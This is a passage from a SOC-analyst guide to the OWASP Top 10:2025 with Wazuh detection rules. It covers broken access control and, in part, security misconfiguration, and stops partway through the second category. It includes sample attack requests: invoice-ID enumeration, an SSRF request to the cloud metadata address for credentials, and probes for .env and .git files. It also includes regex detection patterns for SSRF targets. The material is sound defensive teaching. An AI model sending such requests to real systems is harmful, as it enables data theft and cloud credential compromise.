OWASP Top 10 for SOC Analysts: Web Attack Detection and Investigation with Wazuh
The OWASP Top 10 2025 is the latest edition of OWASP’s list of the most critical web application security risks. Developers use it to write safer code. Security operations center (SOC) teams use it as a shared language to classify web attacks, decide which logs to collect, and explain incidents to developers and managers.
This guide explains all ten OWASP Top 10:2025 categories from a defender’s point of view. For each category, it covers how the attack works, what evidence it leaves in logs, how to detect it with Wazuh, how a SOC analyst investigates and responds, and how the organization can prevent it. Every category also includes a hypothetical SOC investigation scenario that walks through a realistic enterprise case from the first alert to remediation.
Table of Contents
- OWASP Top 10:2025 Overview
- Web Attack Fundamentals for SOC Analysts
- A01:2025 Broken Access Control
- A02:2025 Security Misconfiguration
- A03:2025 Software Supply Chain Failures
- A04:2025 Cryptographic Failures
- A05:2025 Injection
- A06:2025 Insecure Design
- A07:2025 Authentication Failures
- A08:2025 Software or Data Integrity Failures
- A09:2025 Security Logging and Alerting Failures
- A10:2025 Mishandling of Exceptional Conditions
- How to Tell Similar OWASP Categories Apart
- Complete SOC Investigation Workflow for a Suspicious Web Request
- Triage Guide for Common Web Security Alerts
- OWASP Top 10:2025 Quick Reference Table
- Glossary of Key Terms
- Frequently Asked Questions
- Conclusion
- References and Further Reading
OWASP Top 10:2025 Overview
OWASP (Open Worldwide Application Security Project) is a nonprofit community that publishes free application security material.
The OWASP Top 10 is an awareness document. It lists the ten most important categories of web application security risk. Each category groups many related CWEs. A CWE (Common Weakness Enumeration) is a numbered type of software weakness kept by MITRE, for example CWE-89 for SQL injection.
The 2025 edition is the eighth edition. Compared with 2021:
- A03:2025 Software Supply Chain Failures is new. It grows the old “Vulnerable and Outdated Components” category to cover the whole build, distribution and update process.
- A10:2025 Mishandling of Exceptional Conditions is new. It covers poor error handling, logic errors and “failing open”.
- Server Side Request Forgery (SSRF) is no longer its own category. It is now part of A01:2025 Broken Access Control.
- Security Misconfiguration moved up from number 5 to number 2.
- “Identification and Authentication Failures” was renamed Authentication Failures.
- “Security Logging and Monitoring Failures” was renamed Security Logging and Alerting Failures to stress that logs are useless if nobody is alerted.
Source: OWASP Top 10:2025 Introduction
Why it matters to a SOC: A SOC analyst does not fix code. The OWASP Top 10 gives the SOC a shared language: when an analyst reports that an alert “looks like A01 Broken Access Control”, developers, managers and auditors all understand the type of problem.
How the 2021 Categories Map to the 2025 List
| OWASP Top 10:2021 | OWASP Top 10:2025 | What changed |
|---|---|---|
| A01 Broken Access Control | A01 Broken Access Control | Stays first; now also includes Server Side Request Forgery |
| A02 Cryptographic Failures | A04 Cryptographic Failures | Moved down two positions |
| A03 Injection | A05 Injection | Moved down two positions; still includes XSS |
| A04 Insecure Design | A06 Insecure Design | Moved down two positions |
| A05 Security Misconfiguration | A02 Security Misconfiguration | Moved up three positions |
| A06 Vulnerable and Outdated Components | A03 Software Supply Chain Failures | Expanded to cover the whole build, distribution and update process |
| A07 Identification and Authentication Failures | A07 Authentication Failures | Same position, shorter name |
| A08 Software and Data Integrity Failures | A08 Software or Data Integrity Failures | Same position, clarified name |
| A09 Security Logging and Monitoring Failures | A09 Security Logging and Alerting Failures | Same position; name now stresses alerting |
| A10 Server Side Request Forgery | Merged into A01 Broken Access Control | No longer a separate category |
| Not present | A10 Mishandling of Exceptional Conditions | New category for unsafe error handling and failing open |
Web Attack Fundamentals for SOC Analysts
Vulnerability, Attack Attempt, Exploitation and Incident
These four terms are not the same, and mixing them up leads to wrong severity decisions.
| Term | Simple meaning | Example | Who usually confirms it |
|---|---|---|---|
| Vulnerability | A weakness exists in the application. Nobody has to be attacking. | The invoice API does not check who owns invoice 10422. | Application security team, penetration testers, developers |
| Attack attempt | Someone tried to use a weakness. It may have failed. | An IP sends GET /api/invoices/10422 while logged in as another customer and gets 403 Forbidden. | SOC analyst from logs |
| Successful exploitation | The attempt worked. The attacker got something they should not have. | The same request returns 200 OK with 1834 bytes of another customer’s invoice data. | SOC analyst with application team, using response evidence |
| Security incident | An event that harms or threatens confidentiality, integrity or availability and needs a response under policy. | 3,000 invoices were downloaded by one account in 10 minutes. Customer data is exposed. | Incident response lead, based on SOC findings |
Rule to remember: A Wazuh alert proves that a log matched a pattern. It does not prove the vulnerability exists, and it does not prove exploitation succeeded. The analyst proves those things by investigation.
HTTP Basics for Security Analysts
HTTP (Hypertext Transfer Protocol) is the language browsers and apps use to talk to web servers. HTTPS is HTTP inside an encrypted TLS (Transport Layer Security) connection.
A request has these parts:
POST /api/orders/7781/cancel?source=mobile HTTP/1.1
Host: shop.example.com
Cookie: session=8f2c1e7b94d04a6e9c31f5a2d7e8b610
Content-Type: application/json
User-Agent: Mozilla/5.0
{"reason": "duplicate"}
- Method: the action.
GETreads,POSTcreates or submits,PUTreplaces,PATCHupdates,DELETEremoves. - Path: the resource, here
/api/orders/7781/cancel. - Query string: parameters after
?, heresource=mobile. - Headers: extra information such as the
Cookiethat identifies the logged in session. - Body: data sent with
POST,PUTorPATCH, often JSON.
Status codes in the response tell you what the server did:
| Code | Meaning | Why a SOC analyst cares |
|---|---|---|
200 | OK, the request worked | An attack request that returns 200 needs closer review |
301, 302 | Redirect | Often a redirect to the login page after a failed check |
400 | Bad request | Malformed input, common during scanning |
401 | Unauthorized (really means “not authenticated”) | Login is required or failed |
403 | Forbidden (authenticated but not allowed) | Access control blocked the request, which is good |
404 | Not found | Many 404s from one IP usually mean scanning |
500 | Internal server error | The application crashed or threw an error, important for Injection and A10 |
503 | Service unavailable | Overload or dependency failure |
Important: many web servers do not log the request body or headers such as Cookie and Authorization. This is a big reason why web attacks can be invisible in access logs.
How to Read a Web Access Log Line
Apache and NGINX write one line per request in the “combined” log format:
203.0.113.45 - - [04/Nov/2026:10:15:32 +0000] "GET /api/invoices/10422 HTTP/1.1" 200 1834 "-" "python-requests/2.31.0"
| Part | Value | Meaning |
|---|---|---|
| Client IP | 203.0.113.45 | Who sent the request (may be a proxy, see below) |
| Timestamp | 04/Nov/2026:10:15:32 +0000 | When the server received it, with time zone |
| Method and path | GET /api/invoices/10422 | What was requested |
| Status | 200 | What the server answered |
| Bytes | 1834 | Size of the response. Big changes in size can show data exposure |
| Referer | - | Page that linked here. Empty for scripts |
| User agent | python-requests/2.31.0 | Client software. Scripts and scanners often reveal themselves here |
Proxy warning: if the web server sits behind a load balancer or CDN, the client IP in the log may be the load balancer. The real client IP is then in a header such as X-Forwarded-For, which must be added to the log format to be visible.
How Wazuh Sees a Web Log
The Wazuh agent on the web server reads the log file. The Wazuh manager decodes it and runs rules. For standard access logs, the built in decoder named web-accesslog extracts four fields:
| Decoded field | Alert field in the dashboard | Example |
|---|---|---|
srcip | data.srcip | 203.0.113.45 |
protocol (the HTTP method) | data.protocol | GET |
url | data.url | /api/invoices/10422 |
id (the HTTP status code) | data.id | 200 |
Built in rule 31100 (level 0) groups all access log events. Other built in web rules use it as their parent.
Source: Wazuh decoder file 0375-web-accesslog_decoders.xml and Wazuh web rules 0245-web_rules.xml
SOC Roles and Responsibilities for Web Incidents
| Role | Typical duties for web attacks |
|---|---|
| L1 analyst | Watch alerts, triage, check obvious false positives, collect first evidence, escalate with a clear note |
| L2 analyst | Deeper investigation, correlate across logs, decide if exploitation succeeded, recommend containment |
| L3 analyst or detection engineer | Threat hunting, build and tune rules and decoders, lead complex incidents, improve visibility |
| Developers | Fix code and application logic |
| System or platform administrators | Change server, cloud and network configuration, apply patches |
| Application security team | Confirm vulnerabilities, run tests, guide secure fixes |
| Incident response lead or manager | Declare incidents, coordinate teams, handle legal and customer communication |
Severity Levels Used in This Article
Every organization has its own severity matrix. This article uses the simple version below so the logic stays consistent across categories.
| Severity | Typical meaning |
|---|---|
| Low | Attempt only, blocked, no sensitive asset, common internet noise |
| Medium | Repeated or targeted attempts, or a weakness confirmed without evidence of misuse |
| High | Evidence of successful exploitation, or a confirmed weakness on a sensitive internet facing system |
| Critical | Confirmed data theft, account takeover at scale, code execution on a server, or ongoing attacker control |
The SOC Response Lifecycle
Each category section adapts these steps:
- Triage: Is the alert real? Which asset? Is it still happening?
- Evidence collection: Save the alert JSON, raw logs and time window before logs rotate.
- Correlation: Link related events by source IP, user, session, host and time.
- Severity and impact: Decide what was affected and how badly.
- Escalation: Hand over to L2, L3 or the incident lead with a clear summary.
- Containment recommendation: Suggest blocking, disabling, isolating or rolling back. The owning team usually executes.
- Coordination: Work with developers, administrators and application security.
- Remediation verification: Confirm the fix with new tests and new logs.
- Documentation and closure: Write the timeline, findings, root cause and lessons learned.
A01:2025 Broken Access Control
Official page: OWASP A01:2025 Broken Access Control
What Is Broken Access Control?
Definition: Broken Access Control means the application does not correctly check what a logged in or anonymous user is allowed to do, so a user can read, change or delete data, or use functions, that belong to someone else or to a higher role.
Key terms:
- Authentication answers “who are you?” (login).
- Authorization or access control answers “what are you allowed to do?” A01 is about authorization.
- IDOR (Insecure Direct Object Reference) means the app uses an ID from the request, such as
invoice_id=10422, and returns the object without checking ownership. Related weakness:CWE-639. - Privilege escalation means gaining a higher role, for example a normal user using admin functions.
- Forced browsing means typing or guessing URLs such as
/adminthat are not linked in the menu. - SSRF (Server Side Request Forgery) means tricking the server into sending a request to a place the attacker cannot reach directly, such as an internal admin page or a cloud metadata service. In 2025 OWASP placed SSRF (
CWE-918) in A01. - CSRF (Cross Site Request Forgery,
CWE-352) means a malicious site makes a victim’s browser send an unwanted request using the victim’s session. OWASP also maps CSRF to A01. - CORS (Cross Origin Resource Sharing) is a browser rule set. A wrong CORS setting can let an untrusted website call your API with a user’s session.
What weakness it represents: The server trusts something the user controls, such as an ID in the URL, a hidden form field, a role value in a cookie or token, or the fact that a button is hidden in the user interface.
Why it happens:
- Developers check permissions in the browser (JavaScript) instead of on the server.
- Each API endpoint implements its own check, and some endpoints are forgotten, especially
PUT,PATCHandDELETE. - The app checks “is the user logged in?” but not “does this user own this record?”
- The default is “allow” instead of “deny by default”.
- Tokens such as a JWT (JSON Web Token, a signed token carrying user claims) are accepted without proper validation or are never expired.
Why attackers target it: It is easy to test. An attacker only needs a normal account and a tool that changes requests. OWASP reports that 100% of tested applications had some form of broken access control, and it has the highest number of occurrences in the 2025 data.
What can happen after successful exploitation:
- Unauthorized reading of data (confidentiality loss).
- Unauthorized changing or deleting of data (integrity loss).
- Business functions used outside limits, such as approving your own refund.
- Full admin takeover of the application.
- With SSRF, access to internal services or cloud credentials.
Business assets affected: customer personal data, invoices and orders, health or financial records, employee records, admin consoles, internal APIs, and cloud credentials.
How Broken Access Control Attacks Work
- What the attacker needs first: usually a normal user account (a free customer signup is enough), a browser, and a proxy tool that lets them view and edit requests. For forced browsing or SSRF, sometimes no account is needed.
- What part of the application is targeted: API endpoints that take an object ID, admin pages, role or permission fields, and features that fetch a URL on the server side (for example “import image from URL”).
- What the attacker sends or changes:
- Changes an ID:
/api/invoices/10421becomes/api/invoices/10422. - Requests a hidden page:
/admin/users. - Changes a role in a request body:
"role": "user"becomes"role": "admin". - Changes the HTTP method: from
GETtoDELETEon the same resource. - For SSRF, puts an internal address in a URL parameter.
- Changes an ID:
- What the vulnerable application does: It processes the request without checking whether this user is allowed to access this object or function.
- How the attacker exploits it: After one successful test, the attacker automates it, for example by looping through thousands of IDs.
- What happens when it succeeds: The server returns
200 OKwith someone else’s data, or performs the action. - Evidence it may leave:
- Access logs showing one user or IP requesting many sequential IDs.
- Requests to admin paths from non admin users or unusual IPs.
- Application logs (if they exist) showing user A reading objects owned by user B.
- A mix of
403responses (blocked tries) and200responses (successes) from the same source. - For SSRF, outbound connections from the web server to internal or metadata addresses.
Broken Access Control Attack Examples
Example 1: IDOR on an invoice API
- Situation: A software company has a customer portal. Customers download invoices from
/api/invoices/{id}. - Attacker objective: Collect other companies’ invoices, which contain names, addresses and amounts.
- Attacker actions: Logs in with a trial account, opens their own invoice
10421, then sends requests for nearby numbers. - Example request:
GET /api/invoices/10422 HTTP/1.1
Host: portal.example.com
Cookie: session=4b9e21c07fd84c3a8e5d6f1a2c90b7e3
- Vulnerable application behavior: The code checks that the session is valid but not that invoice
10422belongs to the trial account. It returns the invoice. - Representative access log entries:
203.0.113.45 - - [04/Nov/2026:10:15:31 +0000] "GET /api/invoices/10421 HTTP/1.1" 200 1790 "-" "python-requests/2.31.0"
203.0.113.45 - - [04/Nov/2026:10:15:32 +0000] "GET /api/invoices/10422 HTTP/1.1" 200 1834 "-" "python-requests/2.31.0"
203.0.113.45 - - [04/Nov/2026:10:15:32 +0000] "GET /api/invoices/10423 HTTP/1.1" 200 1801 "-" "python-requests/2.31.0"
- Attempt versus success: If the server answered
403or404for invoices the user does not own, it is only an attempt. Because it answered200with normal invoice sized responses, it is likely successful exploitation. Final proof comes from the application team confirming that invoice10422belongs to a different customer. - Impact: Personal and financial data exposure for many customers, possible privacy breach notification.
Example 2: Forced browsing to an admin function
- Situation: An HR application hides the “Export all employees” button from normal staff. The page
/admin/exportstill exists. - Attacker objective: An employee wants salary data for all staff.
- Attacker actions: Types the URL directly in the browser.
- Example request:
GET /admin/export?format=csv - Vulnerable application behavior: The menu is hidden in the user interface, but the server does not check the role. It returns the CSV file.
- Attempt versus success:
403 Forbiddenmeans the control worked.200with a large response size (for example 2 MB) means the export likely succeeded. - Impact: Internal data leak, privacy violation, insider threat case.
Example 3: SSRF Through an Image Import Feature
- Situation: A marketing site lets users import a profile picture from a URL.
- Attacker objective: Reach the cloud metadata service, which can return temporary cloud credentials.
- Example request:
GET /profile/import?image_url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
- Vulnerable application behavior: The server fetches whatever URL is given, including internal addresses.
- Attempt versus success: The request in the access log is an attempt. Success is shown by an outbound connection from the web server to
169.254.169.254(seen in firewall, cloud flow logs or endpoint telemetry) and by an unusual response size, or later by those cloud credentials being used from an unexpected location. - Impact: Cloud account compromise if credentials are exposed. (Cloud metadata protections such as token required metadata access reduce this risk.)
Broken Access Control Indicators and Evidence
| Indicator | Where you see it | Strength |
|---|---|---|
| One user or IP requests many sequential object IDs | Web access logs | Suspicious signal. Could be a legitimate bulk tool |
| The same session reads objects owned by many different customers | Application logs with user and owner fields | Strong evidence |
200 responses to /admin paths from a non admin account | Access logs plus app logs that include the user and role | Strong evidence |
Many 403 responses followed by a 200 on a similar path | Access logs | Suspicious, shows probing that may have found a gap |
Changed HTTP methods (PUT, DELETE) on resources normally only read | Access logs | Suspicious |
Role or permission fields in request bodies, such as "isAdmin": true | WAF or app logs (bodies are not in access logs) | Strong if the change was accepted |
URL parameters containing internal IPs, localhost or 169.254.169.254 | Access logs, WAF logs | Suspicious (attempt) |
| Outbound connection from web server to metadata or internal admin IPs | Firewall, cloud flow logs, Sysmon Event 3 | Strong evidence for SSRF success |
| Response sizes much larger than normal for that endpoint | Access logs (bytes field) | Suspicious, supports data exposure |
Script user agents such as python-requests or curl on customer APIs | Access logs | Weak signal alone |
How to Detect Broken Access Control with Wazuh
Required Log Sources
| Source | Necessary or optional | Why |
|---|---|---|
| Web server access logs (Apache, NGINX, IIS) | Necessary | Shows path, ID, method, status and source IP |
| Application logs with user ID, object ID, owner and decision (allow or deny) | Strongly recommended | The only reliable way to prove “user A accessed user B’s object” |
| WAF logs | Optional | Shows blocked tampering and request bodies if configured |
| Reverse proxy or load balancer logs | Necessary if a proxy hides client IPs | Gives the real client IP |
| Firewall, cloud flow logs or Sysmon network events from the web server | Necessary for SSRF | Shows outbound requests made by the server |
| Identity provider logs | Optional | Connects sessions to real user identities |
What Wazuh Can and Cannot Detect
- Directly with built in rules: Wazuh does not have a built in “IDOR” or “broken access control” rule. Built in web rules can still help:
- Rule 31101 (level 5) “Web server 400 error code” and rule 31151 (level 10) “Multiple web server 400 error codes from same source ip” (14 events in 90 seconds). Many
403and404responses can show forced browsing. - Rule 31516 (level 6) “Suspicious URL access” matches paths such as
/server-statusand.bakfiles.
- Rule 31101 (level 5) “Web server 400 error code” and rule 31151 (level 10) “Multiple web server 400 error codes from same source ip” (14 events in 90 seconds). Many
- Needs custom rules: sequential ID enumeration, admin paths returning
200to unexpected sources, SSRF style parameters. - Needs application logs: proving ownership violations. Access logs do not know who owns invoice 10422.
- Needs external telemetry: SSRF success needs network data from the web server (Sysmon Event 3 on Windows, auditd or firewall logs on Linux, or cloud flow logs).
- Cannot be reliably detected by Wazuh alone: a single quiet IDOR request by a logged in user that looks exactly like normal traffic. Detecting it needs business context (who owns what).
- Suspicious activity versus proof: A rule that counts 30 invoice reads in one minute detects suspicious behavior. Only ownership data proves a vulnerability was exploited.
Wazuh Rules for Broken Access Control
All rules below are custom rules (examples). Place them in /var/ossec/etc/rules/local_rules.xml (or a new file in /var/ossec/etc/rules/) on the Wazuh manager.
Rule logic:
- 100101: An admin path returned
200to a source IP outside the internal range10.0.0.0/8. - 100102 and 100103: Count successful invoice reads by ID. If one source IP makes 30 of them in 60 seconds, raise an alert.
- 100104: A URL parameter contains an internal or cloud metadata address, a common SSRF attempt.
Fields inspected: url, id (HTTP status) and srcip, all produced by the built in web-accesslog decoder. All rules use built in rule 31100 as the parent.
<group name="custom_owasp,owasp_a01,web,">
<!-- Custom rule (example): admin area returned 200 to a non internal source -->
<rule id="100101" level="10">
<if_sid>31100</if_sid>
<url type="pcre2">(?i)^/(admin|api/admin|manage)(/|\?|$)</url>
<id>^200$</id>
<srcip negate="yes">10.0.0.0/8</srcip>
<description>OWASP A01: Admin path returned 200 to a source outside the internal network</description>
<mitre>
<id>T1190</id>
</mitre>
</rule>
<!-- Custom rule (example): low level counter for successful invoice reads by ID -->
<rule id="100102" level="2">
<if_sid>31100</if_sid>
<url type="pcre2">^/api/invoices/\d+$</url>
<id>^200$</id>
<description>OWASP A01: Invoice object retrieved by numeric ID</description>
</rule>
<!-- Custom rule (example): many invoice IDs from one source in a short time -->
<rule id="100103" level="10" frequency="30" timeframe="60">
<if_matched_sid>100102</if_matched_sid>
<same_srcip />
<description>OWASP A01: Possible IDOR enumeration, 30 invoice reads from one source in 60 seconds</description>
<mitre>
<id>T1190</id>
</mitre>
</rule>
<!-- Custom rule (example): internal or metadata address inside a URL parameter -->
<rule id="100104" level="8">
<if_sid>31100</if_sid>
<url type="pcre2">(?i)=(https?|gopher|file)(%3A|:)(%2F|/){2}(169\.254\.169\.254|127\.0\.0\.1|localhost|metadata\.google\.internal)</url>
<description>OWASP A01: Possible SSRF attempt, internal or metadata address in a URL parameter</description>
<mitre>
<id>T1190</id>
</mitre>
</rule>
</group>
Why these levels:
- 100101 at level 10: A successful admin response to an outside IP should be looked at quickly, but it may be a legitimate remote admin, so it is not level 12 or above.
- 100102 at level 2: It only counts. Level 2 is below the default alert logging threshold (level 3), so it does not flood the alert index. It must not be level 0, because the Wazuh analysis engine stops processing a level 0 match before storing it for correlation, so a frequency rule could never count it (checked in the
wazuh-analysisdsource,src/analysisd/analysisd.c, v4.14.10). - 100103 at level 10: Level 10 in the Wazuh classification means “multiple user generated errors” or repeated suspicious events. It needs review but is not yet proof.
- 100104 at level 8: An attempt only. Success must be confirmed with network data.
Engine detail: Child rules under the same parent are checked in order of level, highest first (also verified in src/analysisd/rules_list.c). That is why a level 10 custom rule under 31100 is checked before built in 31101 (level 5).
How to test with sample logs:
- On the manager run
/var/ossec/bin/wazuh-logtest. - Paste this line to test 100101:
198.51.100.20 - - [04/Nov/2026:11:02:10 +0000] "GET /admin/users HTTP/1.1" 200 5120 "-" "Mozilla/5.0"
- Expected result in Phase 3:
id: '100101',level: '10'. - To test 100103, paste 30 lines with
/api/invoices/10422,/api/invoices/10423and so on from the same IP inside one session. The thirtieth line should show100103.wazuh-logtestkeeps afiredtimescounter per session, so frequency rules can be tested. - Paste this line to test 100104:
203.0.113.77 - - [04/Nov/2026:11:05:44 +0000] "GET /profile/import?image_url=http://169.254.169.254/latest/meta-data/ HTTP/1.1" 200 312 "-" "curl/8.5.0"
- Restart the manager after saving:
systemctl restart wazuh-manager.wazuh-logtestreads saved rules without a restart, but live alerting needs the restart.
Expected alert (representative, shortened):
{
"timestamp": "2026-11-04T10:16:02.114+0000",
"rule": {
"level": 10,
"description": "OWASP A01: Possible IDOR enumeration, 30 invoice reads from one source in 60 seconds",
"id": "100103",
"frequency": 30,
"firedtimes": 1,
"mitre": { "id": ["T1190"], "tactic": ["Initial Access"], "technique": ["Exploit Public-Facing Application"] },
"groups": ["custom_owasp", "owasp_a01", "web"]
},
"agent": { "id": "014", "name": "portal-web-01", "ip": "10.20.4.15" },
"decoder": { "name": "web-accesslog" },
"data": { "protocol": "GET", "srcip": "203.0.113.45", "id": "200", "url": "/api/invoices/10451" },
"location": "/var/log/nginx/access.log",
"full_log": "203.0.113.45 - - [04/Nov/2026:10:16:02 +0000] \"GET /api/invoices/10451 HTTP/1.1\" 200 1822 \"-\" \"python-requests/2.31.0\""
}
Investigating the Alert in Wazuh
- Where to find the alert: In the Wazuh dashboard open Threat Hunting, then the Events tab. Filter with
rule.id:100103. You can also use Discover with thewazuh-alerts-*index pattern. - Fields to inspect:
rule.id,rule.description,rule.level,data.srcip,data.url,data.id,agent.name,location,full_log,timestamp. - Source IP: Read
data.srcip. Check if it is internal, a known partner, a VPN, or a cloud host. If the server is behind a proxy, confirm the real client IP from proxy logs. - Affected application:
agent.nametells you which server.locationtells you which log file and therefore which site. - Affected user account: Access logs usually do not contain the user. Search application logs for the same IP and time to find the session and user ID.
- Timestamps: Find the first and last request from that IP. Note the time zone in the log.
- Correlate: Search all events from
data.srcipfor one hour before and after. Look for login events,403responses, admin paths and other endpoints. - Was it successful? Look at status codes and response sizes in
full_log. Ask the application team whether the returned IDs belong to the logged in customer. - Impact: Count unique IDs returned with
200. Identify which customers own them. - Document: Save the alert JSON, the list of URLs, counts, the user identity, and your conclusion with confidence level.
Useful Wazuh Dashboard Queries
The Wazuh dashboard search bar accepts DQL (Dashboards Query Language) from OpenSearch Dashboards, as in the official Wazuh proof of concept guides (for example rule.id:31103).
| Query | What it finds | What to look for |
|---|---|---|
rule.id:100103 | Possible IDOR enumeration alerts | Which IPs and which time windows |
data.srcip:"203.0.113.45" and data.url:/api/invoices/* | All invoice requests from one IP | Range of IDs, mix of 200 and 403 |
data.srcip:"203.0.113.45" and data.id:403 | Blocked requests from the IP | Probing before success |
rule.id:(31101 or 31151) and data.url:*admin* | Errors on admin paths | Forced browsing patterns |
rule.id:100101 | Admin pages answered with 200 to outside sources | Unknown IPs, odd hours |
rule.id:100104 or data.url:*169.254.169.254* | SSRF attempts | Then search firewall or Sysmon data for real outbound connections |
rule.id:61605 and data.win.eventdata.destinationIp:"169.254.169.254" | Sysmon Event 3 (network connection) to the metadata address, Windows web servers with Sysmon only | Which process made the connection |
Detection Limitations
- Blind spot: Access logs show “a request for invoice 10422” but not “this invoice belongs to someone else”. Without application logs, IDOR can look normal.
- Body changes are invisible: Changing
"role":"admin"in a JSON body does not appear in access logs. - Slow attackers: One request every few minutes will not reach the frequency threshold.
- False positives: Customer integrations, reporting tools and internal batch jobs legitimately read many IDs. Build allow lists.
- Proxy IPs: If all traffic shows the load balancer IP,
same_srcipcorrelation is useless until the real client IP is logged. - GUIDs: If IDs are random GUIDs, enumeration is harder for attackers, but leaked GUIDs can still be abused one by one.
- Improve visibility: Ask developers to log
user_id,object_id,owner_idanddecisionfor sensitive objects in JSON format, then write Wazuh rules on those fields. LogX-Forwarded-For. Collect WAF logs and outbound network logs from web servers.
Practical SOC Investigation Scenario: Invoice Enumeration on a Billing Portal
Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.
Organization and affected application. A B2B software company runs a customer billing portal. Customers download invoices through a REST API at /api/invoices/{id}. The portal runs behind NGINX, and a Wazuh agent forwards the NGINX access logs to the Wazuh manager.
Initial suspicious activity. A trial account created that morning logs in and then starts requesting invoice IDs in strict numeric order from a script.
Initial detection. At 10:16 UTC, custom rule 100103 (“Possible IDOR enumeration, 30 invoice reads from one source in 60 seconds”) fires for source 203.0.113.45. It fires five more times over the next ten minutes.
Logs examined. The SOC analyst filters Threat Hunting with data.srcip:"203.0.113.45" for the last 24 hours, then requests the portal’s application log, which records the tenant that owns each invoice.
Suspicious indicators. The access logs show a login at 10:12, followed by about 1,900 GET /api/invoices/{id} requests with IDs increasing by one. Every request returns 200, the user agent is python-requests, and response sizes stay between 1,700 and 1,900 bytes, which matches a real invoice rather than an error page.
Event correlation. The application log ties the session to the trial tenant. Only 3 of the roughly 1,900 invoice IDs belong to that tenant.
Assessment of successful exploitation. The frequency alert on its own only shows suspicious activity. The 200 responses with invoice sized bodies make success likely. The ownership data from the application team confirms successful exploitation of an IDOR: the server returned objects owned by other tenants. Because customer data was exposed, the event is handled as a confirmed security incident. The user authenticated correctly, so this is authorization (A01), not A07.
Potential business impact. Invoices from around 400 customer organizations were returned. They contain company names, contact names, billing addresses and amounts, so privacy and legal teams must assess notification duties.
Incident response actions. The SOC escalates the case as High, then Critical once exposure is confirmed, and preserves the logs. It recommends a WAF block for the IP and disabling the trial account. The platform team applies the block, and the application team temporarily disables the invoice endpoint.
Recommended remediation. Developers add a server side ownership check to every invoice request. The application starts logging authz_denied events, and the SOC adds a Wazuh rule on them. Verification confirms that cross tenant requests now return 403.
Incident Response Process
| Step | What happens | Who does it |
|---|---|---|
| Initial triage | Confirm the alert matches real requests, identify the app, check if activity is ongoing | SOC L1 |
| Evidence collection | Export alert JSON, raw access logs, app logs, WAF logs for the window | SOC L1 or L2 |
| Event correlation | Link IP, session, user ID, tenant, and other endpoints touched | SOC L2 |
| Severity assessment | Attempts only (Low or Medium), confirmed cross user data (High), large scale personal data (Critical) | SOC L2 |
| Impact assessment | Count records and owners exposed or changed | SOC L2 with app team |
| Escalation | Notify incident lead, app owner, privacy officer if personal data | SOC L2 |
| Containment recommendation | Block IP or account, disable endpoint, revoke sessions | SOC recommends. App and platform teams execute |
| Coordination | Developers add server side checks; app security retests | Development, AppSec |
| Remediation verification | Replay safe test requests; confirm 403; check logs for new denials | SOC with AppSec |
| Documentation and closure | Timeline, root cause (missing ownership check), lessons, new detection rules | SOC, incident lead |
Prevention and Remediation
- Deny by default for everything except public resources.
- Enforce access control on the server, never only in the browser.
- Check record ownership on every read, update and delete.
- Use one shared, tested authorization component instead of checks scattered in each endpoint.
- Disable directory listing and remove
.gitfolders and backup files from web roots. - Keep JWTs short lived and invalidate sessions on logout.
- Restrict CORS to trusted origins.
- For SSRF, allow list outbound destinations and block metadata and internal ranges at the network level.
- Apply rate limits on APIs.
- Log access control failures and alert on repeated failures, as OWASP recommends. This is where the SOC benefits directly.
A02:2025 Security Misconfiguration
Official page: OWASP A02:2025 Security Misconfiguration
What Is Security Misconfiguration?
Definition: Security Misconfiguration means a system, application or cloud service is set up insecurely, for example default passwords left enabled, debug pages exposed, directory listing turned on, detailed error messages shown to users, or cloud storage open to the internet.
Key terms:
- Hardening means removing unnecessary features and setting secure values.
- Default credentials are usernames and passwords that ship with a product, such as
adminandadmin. - Directory listing means the web server shows a list of files in a folder when no index page exists.
- Stack trace is a detailed error report showing code files, functions and sometimes versions. It helps developers and also attackers.
- Security headers are HTTP response headers such as
Strict-Transport-SecurityandContent-Security-Policythat tell browsers to apply protections. - XXE (XML External Entity,
CWE-611) is when an XML parser is configured to process external entities, letting an attacker read local files or reach internal systems. OWASP lists it as a notable CWE in A02. - Configuration drift means a server slowly moves away from its approved secure baseline.
What weakness it represents: Missing or wrong security settings anywhere in the stack: operating system, web server, application server, framework, database, container or cloud service. OWASP notes the main CWE is CWE-16 Configuration.
Why it happens:
- Products ship with convenient but insecure defaults.
- Test settings (debug mode, sample apps) are copied to production.
- There is no repeatable hardening process, so each server is different.
- Teams prioritize backward compatibility over security.
- Cloud permissions are complex and easy to get wrong.
Why attackers target it: It needs little skill. Internet scanners constantly look for /.git/, /.env, /phpinfo.php, admin consoles and open storage buckets. OWASP reports that 100% of tested applications had some form of misconfiguration, and the category moved from number 5 to number 2.
What can happen after successful exploitation: Leaked secrets and source code, admin takeover through default passwords, server takeover through exposed management consoles, cloud data exposure, and better information for later attacks.
Business assets affected: source code, API keys and database passwords in config files, customer data in cloud storage, admin consoles, and the servers themselves.
How Security Misconfiguration Is Exploited
- What the attacker needs first: Only internet access and a scanner or a list of common paths. No account is needed.
- What is targeted: Known file paths, default admin pages, management ports, error pages, cloud storage URLs and XML upload features.
- What the attacker sends: Many
GETrequests to common sensitive paths, login attempts with default passwords, malformed input to trigger verbose errors, or XML containing an external entity. - What the vulnerable application does: Returns the file, shows the listing, accepts the default password, shows the stack trace, or processes the external entity.
- How the attacker exploits it: Uses the leaked secret or source code to go deeper, logs in to the admin console, or downloads exposed data.
- What happens on success: Secrets exposed, admin access gained, data downloaded.
- Evidence left behind: Bursts of
404responses from scanning, a few200responses on sensitive paths with meaningful sizes, logins to admin consoles, SCA check failures, unexpected config file changes.
Security Misconfiguration Attack Examples
Example 1: Exposed .env file on a production web server
- Situation: A retail company deploys a PHP or Node.js site by copying the project folder. The
.envfile, which holds the database password and a payment API key, ends up inside the public web root. - Attacker objective: Steal secrets.
- Attacker actions: Runs an internet scanner that requests common files.
- Representative access log entries:
192.0.2.88 - - [05/Nov/2026:03:11:02 +0000] "GET /.git/config HTTP/1.1" 404 153 "-" "Mozilla/5.0 zgrab/0.x"
192.0.2.88 - - [05/Nov/2026:03:11:02 +0000] "GET /phpinfo.php HTTP/1.1" 404 153 "-" "Mozilla/5.0 zgrab/0.x"
192.0.2.88 - - [05/Nov/2026:03:11:03 +0000] "GET /.env HTTP/1.1" 200 1312 "-" "Mozilla/5.0 zgrab/0.x"
- Vulnerable behavior: The server serves
.envas a plain text file. - Attempt versus success: The
404lines are attempts. The200with 1,312 bytes on/.envstrongly suggests the file was downloaded. Confirm by checking whether that file exists in the web root and what it contains. - Impact: Database and payment API credentials exposed. Treat them as compromised and rotate them.
